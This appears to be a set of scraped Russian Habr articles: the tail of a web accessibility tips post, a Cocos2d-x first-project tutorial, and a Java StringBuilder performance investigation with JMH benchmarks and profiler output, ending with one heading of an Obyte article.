Когда он загрузился, то я увидел белый шрифт и красивую фоновую картинку комплекса. Я не знаю, почему разработчики не добавили цветной фон для блока с помощью background-color. Но, если бы они это сделали, то я бы смог прочитать текст раньше и не ждать загрузки изображения.
**Не делайте так**
```
.hero {
background-image: url("example.jpg");
}
```
**Можно делать так**
```
.hero {
background-image: url("example.jpg");
background-color: #919191;
}
```
Не используете специальные типы email и tel для тега input
----------------------------------------------------------
Когда заполняешь поля формы с телефона, то удобно, когда специальная клавиатура для ввода электронный почты или номера телефона появляется сразу.
Но я все еще встречаю сайты, где мне приходится самостоятельно переключаться на нее. Это происходит, потому что разработчики не использую типы email и tel для тега input.
**Не делайте так**
```
```
**Можно делать так**
```
```
Удаляете outline без альтернативы
---------------------------------
Когда я смотрю вакансии на сайте для поиска работы, я не могу быстро переключаться при помощи клавиатуры. Дело в том, что из-за отключенного outline я просто не вижу, на какой ссылке сейчас мой фокус.
**Не делайте так**
```
.button:focus {
outline: none;
}
```
Правильного решения я не могу привести, потому что это комплексная ошибка дизайнера и разработчиков. И ее решать нужно также комплексно.
Используете псевдо-кнопки
-------------------------
В интернете все чаще встречаются сайты, на которых разработчики добавляют role=”button” для тегов div или span. И, наверное, они думают, что все хорошо. Но у меня плохие новости.
Кнопки по-прежнему не доступны для меня, когда я хочу использовать свою клавиатуру. Я жму enter, и снова получаю разочарование. Приходится использовать тачпад.
**Не делайте так**
```
Добавить в корзину
```
**Можно делать так**
```
Добавить в корзину
```
Не используете тег label
------------------------
Я регистрировался на одном сайте и мне нужно было поставить чекбокс для согласия с правилами политики конфиденциальности. Я кликнул по тексту “Да, принимаю” и никакой реакции интерфейса. Я подумал, что может промахнулся или какой-то лаг. Кликнул еще раз. Та же реакция интерфейса, точнее ее отсутствие.
Я проинспектировал код и увидел, что разработчики забыли добавить тег label.
**Не делайте так**
```
Да, принимаю
```
**Можно делать так**
```
Да, принимаю
```
Используете px для свойства font-size
-------------------------------------
Я использую монитор, который находится примерно в метре от меня, поэтому у меня стоит режим с увеличенным размером текста в Google Chrome. И когда я попадаю на сайт, где шрифт указан в пикселях, то мне приходится дополнительно увеличивать его через зум.
Хотя разработчики могли использовать rem'ы, и у меня не было бы неудобств.
**Не делайте так**
```
.hero {
font-size: 16px;
}
```
**Можно делать так**
```
.hero {
font-size: 1rem;
}
``` | https://habr.com/ru/post/519034/ | null | ru | null |
# Cocos2d-x: Пишем первое кроссплатформенное приложение
#### Предисловие.
Программирование для мобильных платформ становиться все популярнее. Ежедневно, на свет появляются новые приложения и игры, что, естественно, увеличивает конкуренцию на этом рынке. И каждый, уважающий себя разработчик должен разрабатывать и поддерживать свой программный продукт, как минимум на двух самых популярных платформах, коими, на мой взгляд, являются **android** и **iOS**. Еще в недавнем прошлом, для такой поддержки, требовалось разрабатывать две различные программы на разных языках программирования. Но сейчас, появляется много кроссплатформенных движков, помогающих экономить разработчикам драгоценное время.
В этой статье я хочу показать простоту использования одного из них. **[Cocos2d-x](http://www.cocos2d-x.org/)** – бесплатный кроссплатформенный игровой 2D движок — порт популярного движка [cocos2d для iPhone](http://www.cocos2d-iphone.org/). Мультиплатформенный «кокос» поддерживает **iOS, Android, WoPhone** и **Win32**. Поддержка Win32 не полноценна, работает через эмуляцию OpenGL ES и служит только для разработки и отладки приложений. Создатели движка не планируют реализацию полноценной поддержки Windows, и к тому же заявляют, **что далеко не на всех компьютерах будет работать эмуляция OpenGL ES**. Чуть ниже, в статье, мы с вами создадим простой проект, который в дальнейшем, можно будет собрать под вышеперечисленные платформы.
#### Практика
От слов, к делу. Язык программирования C++, в качестве среды, используем **Microsoft Visual Studio 2010**. Первым делом нужно скачать сам [движок](http://www.cocos2d-x.org/projects/cocos2d-x/wiki/Download) (На момент написания статьи использовалась версия движка [cocos2d-1.0.1-x-0.9.1.zip](http://code.google.com/p/cocos2d-x/downloads/detail?name=cocos2d-1.0.1-x-0.9.1.zip&can=2&q=)). Распаковываем zip архив в удобную для вас папку (в моем случае **c:\android\rep\cocos2d-1.0.1-x-0.9.1\**). Структуру рабочего каталога можно увидеть ниже:
* В подкаталогах **Box2D** и **chipmunk** находятся исходные файлы соответствующих библиотек физических движков;
* В каталоге **lua** – исходники библиотеки поддержки языка lua;
* Папка **cocos2dx** содержит исходники основного движка кокоса;
* В **templates** вспомогательные файлы шаблоны, для генерации проектов под разные платформы;
* Так же здесь располагаются несколько тестовых проектов, таких как **HelloWorld**, **HelloLua** и **Tests**.
Перед тем, как создавать наш проект, выполним файл **install-templates-msvc.bat**, который создаст шаблоны для Visual Studio 2010. Затем, откроем в VS решение(солюшен) **cocos2d-win32.vc2010.sln**. В списке проектов, для дальнейшей работы, нужно выполнить построение библиотек в нашем решении(солюшене). Если лень отстраивать каждый проект по отдельности, можно построить тестовое приложение **tests**, библиотеки соберутся автоматом. И наконец, создадим новый проект (*Ctrl-Shift-N*). В качестве шаблона выберем **Cocos2d-win32 Application**, имя пусть будет **MyCocosProject**, а для простоты, проект будет находиться в той же папке, что и сам движок (**c:\android\rep\cocos2d-1.0.1-x-0.9.1\**), если вы выберете другое расположение, необходимо будет в настройках проекта правильно указать пути к библиотекам, решение(солюшен) оставляем тем же. Жмем **OK**.
В появившемся окне «визарда» можно пока отключить физические движки, убрав соответствующие галочки, жмем кнопку **Finish**. Все! Мы создали наш первый проект:
Открываем файл **HelloWorldScene.cpp** в проекте и ищем строчку:
`CCLabelTTF* pLabel = CCLabelTTF::labelWithString("**Hello World**", "Thonburi", 64);`
заменяем строку «**Hello World**», на любой текст, например «**My First Crossplatform Application**», размер шрифта меняем с 64 на 24!
Делаем наш проект запускаемым, и выполняем его (*F5*). Если библиотеки были построены успешно, то и наше приложение должно запуститься.
Если у вас получилось запустить приложение на вашем PC под управление Windows, то возможно, вы сделали первый шаг к написанию собственной мультиплатформенной игры, тот шаг, который вы до сих пор не решались сделать. Пока наше приложение собрано только под Win32, но мы можем собрать его и под **iPhone**, и под **Android**. На мой взгляд, основным плюсом данного движка, является то, что разработчику для отладки не обязательно иметь под рукой ни «живые» мобильные устройства, ни их эмуляторы, ни средства компиляции под эти платформы. Пишем и проверяем все под **Win32**, а все остальное понадобиться лишь на этапе окончательной сборки, когда основные алгоритмы будут уже реализованы. Описание процесса сборки проекта под другие платформы достойно отдельной статьи, которую я обязательно постараюсь написать в ближайшее время.
#### Послесловие.
На мой взгляд, логично то, что ни один кроссплатформенный движок не может позволить использовать все уникальные возможности каждой из платформ. Но основной костяк игры реализовать на подобном движке вполне реально. И я надеюсь, что для определенного круга людей, такое простое приложение поможет решить проблему выбора.
#### Ссылки
* [Официальный сайт движка](http://www.cocos2d-x.org/);
* [Страница движка на твиттере](http://twitter.com/#!/cocos2dx);
* [Игры и приложения](http://www.cocos2d-x.org/projects/cocos2d-x/apps), использующие cocos2d-x | https://habr.com/ru/post/126582/ | null | ru | null |
# Как ухудшить производительность, улучшая её
*Хотели как лучше, а получилось как всегда.*
Виктор Черномырдин,
русский государственный деятель
Бывают в жизни случаи, когда ты вроде бы всё делаешь правильно, но что-то идёт не так.
Этот рассказ об одном из таких случаев.
Однажды я смотрел на этот код и думал о его ускорении:
```
public String appendBounds(Data data) {
int beginIndex = data.beginIndex;
int endIndex = data.endIndex;
return new StringBuilder()
.append('L')
.append(data.str, beginIndex, endIndex)
.append(';')
.toString();
}
```
Сперва я хотел вычислять итоговую длину строки, используя переменные `beginIndex` и `endIndex` (а также тот факт, что кроме урезанной строки к `StringBuilder`-у будет добавлено ещё 2 знака), и передавать это значение в конструктор `StringBuilder`-а, чтобы сразу выделить массив нужного размера. Эта мысль показалась мне чересчур очевидной, поэтому я решил испробовать что-то ещё. К верной мысли меня подтолкнуло то обстоятельство, что данный код никак не подсвечивался "Идеей", хотя эта умница обычно предлагает заменить короткую цепочку из `StringBuilder::append` на сложение строк, что короче и легче воспринимается.
Помехой для подобного упрощения является использование метода `StringBuilder.append(CharSequence, int, int)`. Учитывая, что поле `data.str` является строкой, с помощью `String.substring(beginIndex, endIndex)` можно выделить из неё подстроку и передать методу `StringBuilder.append(String)`.
Код после преобразования:
```
public String appendBounds(Data data) {
int beginIndex = data.beginIndex;
int endIndex = data.endIndex;
String subString = data.str.substring(beginIndex, endIndex);
return new StringBuilder()
.append('L')
.append(subString)
.append(';')
.toString();
}
```
И вот теперь "Идея" предлагает упрощение:
```
public String appendBounds(Data data) {
int beginIndex = data.beginIndex;
int endIndex = data.endIndex;
return 'L' + data.str.substring(beginIndex, endIndex) + ';';
}
```
Однако, нашей целью в данном случае является не столько читаемость, сколько производительность. Сравним оба способа:
```
@BenchmarkMode(Mode.AverageTime)
@OutputTimeUnit(TimeUnit.NANOSECONDS)
@Fork(jvmArgsAppend = {"-Xms2g", "-Xmx2g"})
public class StringBuilderAppendBenchmark {
@Benchmark
public String appendSubString(Data data) {
String latinStr = data.latinStr;
String nonLatinStr = data.nonLatinStr;
int beginIndex = data.beginIndex;
int endIndex = data.endIndex;
String substring = data.nonLatin ?
nonLatinStr.substring(beginIndex, endIndex) :
latinStr.substring(beginIndex, endIndex);
return new StringBuilder()
.append('L')
.append(substring)
.append(';')
.toString();
}
@Benchmark
public String appendBounds(Data data) {
String latinStr = data.latinStr;
String nonLatinStr = data.nonLatinStr;
int beginIndex = data.beginIndex;
int endIndex = data.endIndex;
String appended = data.nonLatin ? nonLatinStr : latinStr;
return new StringBuilder()
.append('L')
.append(appended, beginIndex, endIndex)
.append(';')
.toString();
}
@State(Scope.Thread)
public static class Data {
String latinStr;
String nonLatinStr;
@Param({"true", "false"})
boolean nonLatin;
@Param({"5", "10", "50", "100", "500", "1000"})
private int length;
private int beginIndex;
private int endIndex;
private ThreadLocalRandom random = ThreadLocalRandom.current();
@Setup
public void setup() {
latinStr = randomString("abcdefghijklmnopqrstuvwxyz");
nonLatinStr = randomString("абвгдеёжзиклмнопрстуфхцчшщьыъэюя");
beginIndex = 1;
endIndex = length + 1;
}
private String randomString(String alphabet) {
char[] chars = alphabet.toCharArray();
StringBuilder sb = new StringBuilder(length + 2);
for (int i = 0; i < length + 2; i++) {
char c = chars[random.nextInt(chars.length)];
sb.append(c);
}
return sb.toString();
}
}
}
```
Бенчмарк прост как две копейки: к `StringBuilder`-у добавляется случайная строка, размер которой определяется полем `length`, а поскольку на дворе 2019 год, то проверять нужно как строку, содержащую только знаки основной латиницы (т. н. сжатая строка, в которой каждому знаку соответствует 1 байт), так и строку с нелатинскими знаками (каждый символ представлен 2 байтами).
При поверхностном рассмотрении метод `appendSubString` представляется нам более медленным, ибо объём приклеиваемых данных совпадает с таковым в методе `appendBounds`, однако в методе `appendSubString` есть ещё и явное создание подстроки, т. е. выделение памяти на новый объект и копирование в него содержимого из `data.latinStr` / `data.nonLatinStr`.
Тем более удивительными (но только на первый взгляд) кажутся итоги измерения, выполненного мной с помощью JDK11 на домашней машине (Intel Core i5-4690, 3.50 ГГц):
```
Benchmark nonLatin length Score Error Units
appendBounds true 5 44,6 ± 0,4 ns/op
appendBounds true 10 45,7 ± 0,7 ns/op
appendBounds true 50 129,0 ± 0,5 ns/op
appendBounds true 100 218,7 ± 0,8 ns/op
appendBounds true 500 907,1 ± 5,5 ns/op
appendBounds true 1000 1626,4 ± 13,0 ns/op
appendSubString true 5 28,6 ± 0,2 ns/op
appendSubString true 10 30,8 ± 0,2 ns/op
appendSubString true 50 65,6 ± 0,4 ns/op
appendSubString true 100 106,6 ± 0,6 ns/op
appendSubString true 500 430,1 ± 2,4 ns/op
appendSubString true 1000 839,1 ± 8,6 ns/op
appendBounds:·gc.alloc.rate.norm true 5 184,0 ± 0,0 B/op
appendBounds:·gc.alloc.rate.norm true 10 200,0 ± 0,0 B/op
appendBounds:·gc.alloc.rate.norm true 50 688,0 ± 0,0 B/op
appendBounds:·gc.alloc.rate.norm true 100 1192,0 ± 0,0 B/op
appendBounds:·gc.alloc.rate.norm true 500 5192,0 ± 0,0 B/op
appendBounds:·gc.alloc.rate.norm true 1000 10200,0 ± 0,0 B/op
appendSubString:·gc.alloc.rate.norm true 5 136,0 ± 0,0 B/op
appendSubString:·gc.alloc.rate.norm true 10 160,0 ± 0,0 B/op
appendSubString:·gc.alloc.rate.norm true 50 360,0 ± 0,0 B/op
appendSubString:·gc.alloc.rate.norm true 100 608,0 ± 0,0 B/op
appendSubString:·gc.alloc.rate.norm true 500 2608,0 ± 0,0 B/op
appendSubString:·gc.alloc.rate.norm true 1000 5104,0 ± 0,0 B/op
appendBounds false 5 20,8 ± 0,1 ns/op
appendBounds false 10 24,0 ± 0,2 ns/op
appendBounds false 50 66,4 ± 0,4 ns/op
appendBounds false 100 111,0 ± 0,8 ns/op
appendBounds false 500 419,2 ± 2,7 ns/op
appendBounds false 1000 840,4 ± 7,8 ns/op
appendSubString false 5 25,3 ± 0,3 ns/op
appendSubString false 10 25,7 ± 0,2 ns/op
appendSubString false 50 36,0 ± 0,1 ns/op
appendSubString false 100 52,8 ± 0,4 ns/op
appendSubString false 500 206,1 ± 6,1 ns/op
appendSubString false 1000 388,1 ± 1,6 ns/op
appendBounds:·gc.alloc.rate.norm false 5 80,0 ± 0,0 B/op
appendBounds:·gc.alloc.rate.norm false 10 88,0 ± 0,0 B/op
appendBounds:·gc.alloc.rate.norm false 50 320,0 ± 0,0 B/op
appendBounds:·gc.alloc.rate.norm false 100 544,0 ± 0,0 B/op
appendBounds:·gc.alloc.rate.norm false 500 2144,0 ± 0,0 B/op
appendBounds:·gc.alloc.rate.norm false 1000 4152,0 ± 0,0 B/op
appendSubString:·gc.alloc.rate.norm false 5 96,0 ± 0,0 B/op
appendSubString:·gc.alloc.rate.norm false 10 112,0 ± 0,0 B/op
appendSubString:·gc.alloc.rate.norm false 50 192,0 ± 0,0 B/op
appendSubString:·gc.alloc.rate.norm false 100 288,0 ± 0,0 B/op
appendSubString:·gc.alloc.rate.norm false 500 1088,0 ± 0,0 B/op
appendSubString:·gc.alloc.rate.norm false 1000 2088,0 ± 0,0 B/op
```
Опровергая наше предположение метод `appendSubString` в подавляющем большинстве случаев (в т. ч. всегда для нелатинских строк) оказался и более быстрым, и менее прожорливым (и это при том, что `String::substring` возвращает новый объект). Как же так получилось?
Смотрю в книгу, вижу фигу
-------------------------
Приподнять завесу тайны поможет изучение исходного кода `StringBuilder`-а. Оба используемых метода передают вызов в такие же методы `AbstractStringBuilder`-а:
```
public final class StringBuilder
extends AbstractStringBuilder
implements java.io.Serializable, Comparable, CharSequence {
@Override
public StringBuilder append(String str) {
super.append(str);
return this;
}
@Override
public StringBuilder append(CharSequence s, int start, int end) {
super.append(s, start, end);
return this;
}
}
```
Переходим к `AbstractStringBuilder.append(String)`:
```
public AbstractStringBuilder append(String str) {
if (str == null) {
return appendNull();
}
int len = str.length();
ensureCapacityInternal(count + len);
putStringAt(count, str);
count += len;
return this;
}
private final void putStringAt(int index, String str) {
if (getCoder() != str.coder()) {
inflate();
}
str.getBytes(value, index, coder);
}
```
Что здесь интересно? Метод `AbstractStringBuilder::inflate`, как следует из названия, расширяет массив `AbstractStringBuilder.value` при объединении разнородных строк. Перемещение же данных происходит в методе `String::getBytes`:
```
void getBytes(byte[] dst, int dstBegin, byte coder) {
if (coder() == coder) {
System.arraycopy(value, 0, dst, dstBegin << coder, value.length);
} else { // this.coder == LATIN && coder == UTF16
StringLatin1.inflate(value, 0, dst, dstBegin, value.length);
}
}
```
Что важно? Если строки однородны, то для перемещения данных используется интринсифицированный `System::arraycopy`, в противоположном случае — `StringLatin1::inflate`, которые через делегирование приводит нас к методу `StringUTF16::inflate`:
```
// inflatedCopy byte[] -> byte[]
@HotSpotIntrinsicCandidate
public static void inflate(byte[] src, int srcOff, byte[] dst, int dstOff, int len) {
// We need a range check here because 'putChar' has no checks
checkBoundsOffCount(dstOff, len, dst);
for (int i = 0; i < len; i++) {
putChar(dst, dstOff++, src[srcOff++] & 0xff);
}
}
@HotSpotIntrinsicCandidate
static void putChar(byte[] val, int index, int c) {
assert index >= 0 && index < length(val) : "Trusted caller missed bounds check";
index <<= 1;
val[index++] = (byte)(c >> HI_BYTE_SHIFT);
val[index] = (byte)(c >> LO_BYTE_SHIFT);
}
```
Таким образом, если строки однородны, то для перемещения данных используется платформенно-зависимый метод `System::arraycopy`, в противном случае — цикл (тоже интринсифицированный). Это означает, что при склеивании двух строк, где все знаки входят в множество основной латиницы (проще говоря умещаются в 1 байт), производительность должна быть значительно лучше, чем при склеивании разнородных строк. Бенчмарк это подтверждает (см. вывод для `nonLatin = false`).
Теперь метод `AbstractStringBuilder.append(CharSequence, int, int)`:
```
@Override
public AbstractStringBuilder append(CharSequence s, int start, int end) {
if (s == null) {
s = "null";
}
checkRange(start, end, s.length());
int len = end - start;
ensureCapacityInternal(count + len);
appendChars(s, start, end);
return this;
}
private final void appendChars(CharSequence s, int off, int end) {
if (isLatin1()) {
byte[] val = this.value;
for (int i = off, j = count; i < end; i++) {
char c = s.charAt(i);
if (StringLatin1.canEncode(c)) {
val[j++] = (byte)c;
} else {
count = j;
inflate();
StringUTF16.putCharsSB(this.value, j, s, i, end);
count += end - i;
return;
}
}
} else {
StringUTF16.putCharsSB(this.value, count, s, off, end);
}
count += end - off;
}
```
Здесь подход схож с существующим в предыдущем примере: для однородных строк используется более простой механизм (тут — познаковое копирование в цикле), для разнородных — обращение к `StringUTF16`, однако обратите внимание, что вызываемый метод `StringUTF16::putCharsSB` не интринсифицирован.
```
public static void putCharsSB(byte[] val, int index, CharSequence s, int off, int end) {
checkBoundsBeginEnd(index, index + end - off, val);
for (int i = off; i < end; i++) {
putChar(val, index++, s.charAt(i));
}
}
```
Итак, внутреннее устройство обоих методов и причина их разной производительности для нас более-менее понятны. Закономерно возникает вопрос — что делать с полученным знанием дальше? Есть сразу несколько вариантов:
1) держать это в голове и при обнаружении подозрительного кода менять его руками
2) сходить к Тагиру и попросить его запилить проверку, которая будет делать работу вместо нас
3) внести изменения в JDK с тем, чтобы код вообще не менять.
Разумеется, начнём мы с третьего. Готовы рискнуть?
Погружение в пучину
-------------------
Тренироваться будем ~~на кошках~~ на исходниках одинадцатой явы, скачать можно [здесь](http://hg.openjdk.java.net/jdk/jdk11).
Наиболее простой и очевидный способ улучшения — выделять подстроку уже внутри метода `AbstractStringBuilder.append(CharSequence, int, int)`:
```
// было
public AbstractStringBuilder append(CharSequence s, int start, int end) {
if (s == null) {
s = "null";
}
checkRange(start, end, s.length());
int len = end - start;
ensureCapacityInternal(count + len);
appendChars(s, start, end);
return this;
}
// стало
public AbstractStringBuilder append(CharSequence s, int start, int end) {
if (s == null) {
s = "null";
}
checkRange(start, end, s.length());
return append(s.subSequence(start, end).toString());
}
```
Теперь нужно собрать JDK, прогнать тесты и запустить на нём бенчмарк `StringBuilderAppendBenchmark::appendBounds`, результаты которого нужно сопоставить с результатами этого же бенчмарка на исходном JDK:
```
# здесь колонка before содержит данные прогона на исходном JDK,
# after - на изменённом
Benchmark nonLatin length before after Units
avgt true 5 44,6 64,4 ns/op
avgt true 10 45,7 66,3 ns/op
avgt true 50 129,0 168,9 ns/op
avgt true 100 218,7 281,9 ns/op
avgt true 500 907,1 1116,2 ns/op
avgt true 1000 1626,4 2002,5 ns/op
gc.alloc.rate.norm true 5 184,0 264,0 B/op
gc.alloc.rate.norm true 10 200,0 296,0 B/op
gc.alloc.rate.norm true 50 688,0 904,0 B/op
gc.alloc.rate.norm true 100 1192,0 1552,0 B/op
gc.alloc.rate.norm true 500 5192,0 6752,0 B/op
gc.alloc.rate.norm true 1000 10200,0 13256,0 B/op
avgt false 5 20,8 38,0 ns/op
avgt false 10 24,0 37,8 ns/op
avgt false 50 66,4 82,9 ns/op
avgt false 100 111,0 138,8 ns/op
avgt false 500 419,2 531,9 ns/op
avgt false 1000 840,4 1002,7 ns/op
gc.alloc.rate.norm false 5 80,0 152,0 B/op
gc.alloc.rate.norm false 10 88,0 168,0 B/op
gc.alloc.rate.norm false 50 320,0 440,0 B/op
gc.alloc.rate.norm false 100 544,0 688,0 B/op
gc.alloc.rate.norm false 500 2144,0 2688,0 B/op
gc.alloc.rate.norm false 1000 4152,0 5192,0 B/op
```
Что называется, внезапно! Улучшения не только не произошло, но произошло ухудшение. Чёрт возьми, но как?
Дело в том, что в самом начале, в описании метода `StringBuilder::append` я сделал одно небольшое, но критически важное упущение. Метод был описан вот так:
```
public final class StringBuilder {
@Override
public StringBuilder append(String str) {
super.append(str);
return this;
}
}
```
А вот его полный вид:
```
public final class StringBuilder {
@Override
@HotSpotIntrinsicCandidate
public StringBuilder append(String str) {
super.append(str);
return this;
}
}
```
Ява-код, который мы рассматривали выше, будучи разогретым и скомпилированным на уровне С2, не имеет никакого значения, т. к. исполняется не он, а интринсик. Это легко доказать, сняв профиль используя [async-profiler](https://github.com/jvm-profiling-tools/async-profiler/). Здесь и далее профиль снимается для `length = 1000` и `nonLatin = true`:
```
# профиль метода `appendSubString`, JDK без наших изменений
ns percent samples top
---------- ------- ------- ---
19096340914 43.57% 1897673 jbyte_disjoint_arraycopy <---------
13500185356 30.80% 1343343 jshort_disjoint_arraycopy <---------
4124818581 9.41% 409533 java.lang.String. # создание подстроки
2177311938 4.97% 216375 java.lang.StringUTF16.compress # создание подстроки
1557269661 3.55% 154253 java.util.Arrays.copyOfRange # создание подстроки
349344451 0.80% 34823 appendSubString\_avgt\_jmhStub
279803769 0.64% 27862 java.lang.StringUTF16.newString
274388920 0.63% 27312 org.openjdk.jmh.infra.Blackhole.consume
160962540 0.37% 15946 SpinPause
122418222 0.28% 11795 \_\_memset\_avx2
```
Кодом `StringBuilder`-а (да и `AbstractStringBuilder`-а ) тут даже не пахнет, почти 3/4 профиля занимает интринсик. Примерно такую же картину хотелось бы наблюдать в профиле "улучшенного" нами `StringBuilder.append(CharSequence, int, int)`.
В действительности имеем вот это:
```
ns percent samples top
---------- ------- ------- ---
19071221451 43.78% 1897827 jbyte_disjoint_arraycopy
6409223440 14.71% 638348 jlong_disjoint_arraycopy
3933622128 9.03% 387403 java.lang.StringUTF16.newBytesFor
2067248311 4.75% 204193 java.lang.AbstractStringBuilder.ensureCapacityInternal
1929218737 4.43% 194751 java.lang.StringUTF16.compress
1678321343 3.85% 166458 java.util.Arrays.copyOfRange
1621470408 3.72% 160849 java.lang.String.checkIndex
969180099 2.22% 96018 java.util.Arrays.copyOf
581600786 1.34% 57818 java.lang.AbstractStringBuilder.
417818533 0.96% 41611 appendBounds\_jmhTest
406565329 0.93% 40479 java.lang.String.
340972882 0.78% 33727 java.lang.AbstractStringBuilder.append
299895915 0.69% 29982 java.lang.StringBuilder.toString
183885595 0.42% 18136 SpinPause
168666033 0.39% 16755 org.openjdk.jmh.infra.Blackhole.consume
```
Вы скажете: "Вот же они, интринсики, в самом верху!" Действительно, только это немного не те интринсики (в т. ч. сравните имя второго сверху). Вспомним:
```
public final class StringBuilder {
@Override
@HotSpotIntrinsicCandidate
public StringBuilder append(String str) {
super.append(str);
return this;
}
}
```
Здесь интринсик подменяет вызов `StringBuilder.append(String)`, но в нашем-то патче этого вызова нет! Вызывается `AbstractStringBuilder.append(String)`. Наблюдаемый нами вызов `jbyte_disjoint_arraycopy` — это интринсик для `StringLatin1::inflate`, вызываемого из `AbstractStringBuider::putStringAt` через `String::getBytes`. Т. е. в отличии от `StringBuilder::append` отрабатывает не только платформенно-зависимый, но и ява-код,
С причиной провала разобрались, попробуем добиться успеха иначе. Несложно догадаться, что нам необходимо каким-то образом обратиться именно к `StringBuilder::append`. Сделать это можно оторвав предыдущую заплатку и внеся изменения в сам `StringBuilder`:
```
public final class StringBuilder {
// было
@Override
public StringBuilder append(CharSequence s, int start, int end) {
super.append(s, start, end);
return this;
}
// стало
@Override
public StringBuilder append(CharSequence s, int start, int end) {
if (s == null) {
s = "null";
}
checkRange(start, end, s.length());
return this.append(s.subSequence(start, end).toString());
}
}
```
Вот теперь всё сделано по уму: вызывается интринсифицированный StringBuilder::append.
Пересобираем, запускаем, сравниваем:
```
# здесь колонка before содержит данные прогона на исходном JDK,
# after - на изменённом
Benchmark nonLatin length before after Units
avgt true 5 44,6 60,2 ns/op
avgt true 10 45,7 59,1 ns/op
avgt true 50 129,0 164,6 ns/op
avgt true 100 218,7 276,2 ns/op
avgt true 500 907,1 1088,8 ns/op
avgt true 1000 1626,4 1959,4 ns/op
gc.alloc.rate.norm true 5 184,0 264,0 B/op
gc.alloc.rate.norm true 10 200,0 296,0 B/op
gc.alloc.rate.norm true 50 688,0 904,0 B/op
gc.alloc.rate.norm true 100 1192,0 1552,0 B/op
gc.alloc.rate.norm true 500 5192,0 6752,0 B/op
gc.alloc.rate.norm true 1000 10200,0 13256,0 B/op
avgt false 5 20,8 37,9 ns/op
avgt false 10 24,0 37,9 ns/op
avgt false 50 66,4 80,9 ns/op
avgt false 100 111,0 125,6 ns/op
avgt false 500 419,2 483,6 ns/op
avgt false 1000 840,4 893,8 ns/op
gc.alloc.rate.norm false 5 80,0 152,0 B/op
gc.alloc.rate.norm false 10 88,0 168,0 B/op
gc.alloc.rate.norm false 50 320,0 440,0 B/op
gc.alloc.rate.norm false 100 544,0 688,0 B/op
gc.alloc.rate.norm false 500 2144,0 2688,0 B/op
gc.alloc.rate.norm false 1000 4152,0 5187,2 B/op
```
Мне, право, очень грустно, но лучше не стало. Теперь новый профиль:
```
ns percent samples top
---------- ------- ------- ---
19614374885 44.12% 1953620 jbyte_disjoint_arraycopy
6645299702 14.95% 662146 jlong_disjoint_arraycopy
4065789919 9.15% 400167 java.lang.StringUTF16.newBytesFor
2374627822 5.34% 234746 java.lang.AbstractStringBuilder.ensureCapacityInternal
1837858014 4.13% 183822 java.lang.StringUTF16.compress
1472039604 3.31% 145956 java.util.Arrays.copyOfRange
1316397864 2.96% 130747 appendBounds_jmhTest
956823151 2.15% 94959 java.util.Arrays.copyOf
573091712 1.29% 56933 java.lang.AbstractStringBuilder.
434454076 0.98% 43202 java.lang.String.
368480388 0.83% 36439 java.lang.AbstractStringBuilder.append
304409057 0.68% 30442 java.lang.StringBuilder.toString
272437989 0.61% 26833 SpinPause
201051696 0.45% 19985 java.lang.StringBuilder.
198934052 0.45% 19810 appendBounds\_avgt\_jmhStub
```
Мало что изменилось. Для меня остаётся непонятным, почему интринсик не сработал при обращении к `StringBuilder.append(String)` изнутри `StringBuilder`-а. Есть подозрение, что вклеивание (инлайнинг) тела метода `StringBuilder.append(String)` в тело `StringBuilder.append(CharSequence, int, int)` что-то меняет в обработке ВМ обращений к методам.
Как бы там ни было, это фиаско, братан. Подлатать JDK не удалось, но мы по прежнему можем делать замену вручную там, где это имеет смысл.
**Литературное отступление о неудачах**
> Ответная шифровка пришла через два дня. Навигатору совсем не хочется расставаться с «Ото Велара», с фирмой, которая строит удивительно быстрые и мощные военные корабли. Навигатору не хочется читать шифровку мне. Он просто повторяет ответ командного пункта: «Нет». Шифровка не разъясняет, почему «нет». «Нет» в любом случае означает, что он –личность известная большому компьютеру. Если бы о нем ничего не было известно, то ответ был бы положительным: пробуйте. Жаль. Жаль такого, интересного человека терять. А командиру, наверное, жаль меня. Может быть, первый раз жаль. Он видит, что я рвусь в варяги. И ему совсем не хочется вновь толкать меня в борзые.
>
> Он молчит. Но я-то знаю, что в обеспечении дикая нехватка рабочих рук:
>
> — Я, товарищ генерал, завтра в обеспечении работаю. Разрешите идти?
>
> — Иди. — И вдруг улыбается. — Ты знаешь, нет худа без добра.
>
> — У меня, товарищ генерал, всегда худо без добра.
>
> — А вот и нет. Тебе запретили его встречать, это плохо. **Но к сокровищам нашего опыта мы добавили еще одну крупицу.**
Выводы:
* код методов JDK в некоторых случаях не имеет отношения к настоящему исполнению, т. к. вместо тела метода может выполнится интринсик, который укрыт в недрах ВМ.
* подобные методы можно распознать, в частности на них указывает метка `@HotSpotIntrinsicCandidate`, хотя некоторые методы интринсифицированы без каких бы то ни было намёков, например `String::equals` (и [многие-многие другие](http://hg.openjdk.java.net/jdk/jdk11/file/1ddf9a99e4ad/src/hotspot/share/classfile/vmSymbols.hpp#l729)).
* вывод, проистекающий из первых двух, — наши рассуждения о том, как работает код JDK могут противоречить действительности. C'est la vie
P. S.
Другая возможная замена:
```
StringBuilder sb = new StringBuilder();
sb.append(str, 0, endIndex);
// -->
StringBuilder sb = new StringBuilder(str.substring(o, endIndex));
```
P. P. S.
Разработчики "Оракла" справедливо указывают, что
> It seems to me rather odd and surprising to introduce a code path into
>
> sb.append(cs,int,int) that allocates memory in order to get at an intrinsic that
>
> only sometimes makes things run faster. As you observed, the performance
>
> tradeoffs aren't obvious.
>
>
>
> Instead, if we want to optimize sb.append(cs,int,int) maybe we should just go
>
> ahead and do that, possibly by adding or rearranging the intrinsics.
Предложенное решение — интринсификация `StringBuilder.append(CharSequence, int, int)`.
→ [Задача](https://bugs.openjdk.java.net/browse/JDK-8217675)
→ [Обсуждение](http://mail.openjdk.java.net/pipermail/core-libs-dev/2019-January/057834.html)
**P. P. S.**
Интересно, что в настоящий момент при написании чего-то вроде
```
StringBuilder sb = new StringBuilder();
sb.append(str.substring(0, endIndex));
```
"Идея" предлагает упростить код до
```
StringBuilder sb = new StringBuilder();
sb.append(s, 0, endIndex);
```
Если производительность именно в этом месте вам не очень важна, наверно более правильным будет использовать второй, упрощённый вариант. Всё-таки большую часть кода мы пишем для наших товарищей, а не для машин. | https://habr.com/ru/post/436746/ | null | ru | null |
# «Автономные Агенты» или исполняем код в открытой криптоплатформе Obyte
